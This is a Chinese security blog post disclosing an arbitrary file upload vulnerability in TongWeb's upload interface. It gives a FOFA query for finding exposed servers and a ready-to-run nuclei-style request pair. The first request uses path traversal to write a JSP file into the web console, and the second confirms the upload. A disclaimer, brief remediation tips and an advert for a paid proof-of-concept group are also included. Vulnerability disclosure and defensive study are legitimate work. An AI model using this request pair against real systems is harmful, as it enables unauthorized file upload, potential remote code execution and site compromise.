东方通TongWeb upload接口存在任意文件上传漏洞
原创
北雪网络安全
北雪网络安全
北雪网络安全
2026年10月7日 21:54
山东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
盛世华诞 举国同庆
山河锦绣，举国同庆。神州大地处处洋溢着热烈喜庆的氛围，我们致敬伟大祖国，感念岁月安好。愿万家喜乐，国泰民安，以赤诚之心，共赴时代崭新征程。
本文章所描述的内容仅供网络安全学习使用，任何人不允许学到技术内容进行非法系统测试，作者不对任何学习文章并进行非法操作的行为负责，由本人自己承担后果，本文章仅供技术学习。
01
更多内容
网络安全学习知识库每日添加最新漏洞并提供python与 nuclei 批量探测脚本：https://pc.fenchuan8.com/#/index?forum=110296
02
搜索引擎
fofa：app=\"东方通-TongWeb\"
03
漏洞复现
东方通TongWeb upload接口存在任意文件上传漏洞，允许攻击者上传恶意文件到服务器，可能导致远程代码执行、网站篡改或其他形式的攻击，严重威胁系统和数据安全。
POST /heimdall/deploy/upload?method=upload HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Connection: keep-aliveAccept: */*Accept-Encoding: gzip, deflate, brContent-Type: multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs
------WebKitFormBoundary8UaANmWAgM4BqBSsContent-Disposition: form-data; name=\"file\";filename=\"../../applications/console/css/3dsspfldiks.jsp\" {{randstr_1}}------WebKitFormBoundary8UaANmWAgM4BqBSs--
GET /console/css/3dsspfldiks.jsp HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate
04
修复建议
1、关闭互联网暴露面或接口设置访问权限
2、升级至安全版本
05
内部圈子
🛠️ 【知名漏洞实战圈，纯干货】🛠️
还在找公开漏洞POC而烦恼？还在为漏洞不会验证而发愁？还在为发现不了漏洞而自卑？这里漏洞圈子解决你的困惑！
目前已更新poc数量2500+
🎯 适用场景
▫️渗透测试▫️企业漏洞自查*▫️攻防演练▫️安全服务▫️合规运营***
**
▫️微信扫一扫进入付费圈子查看更多漏洞内容。
*▫️*全民掌握网安技能，共守智能时代晴空。
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论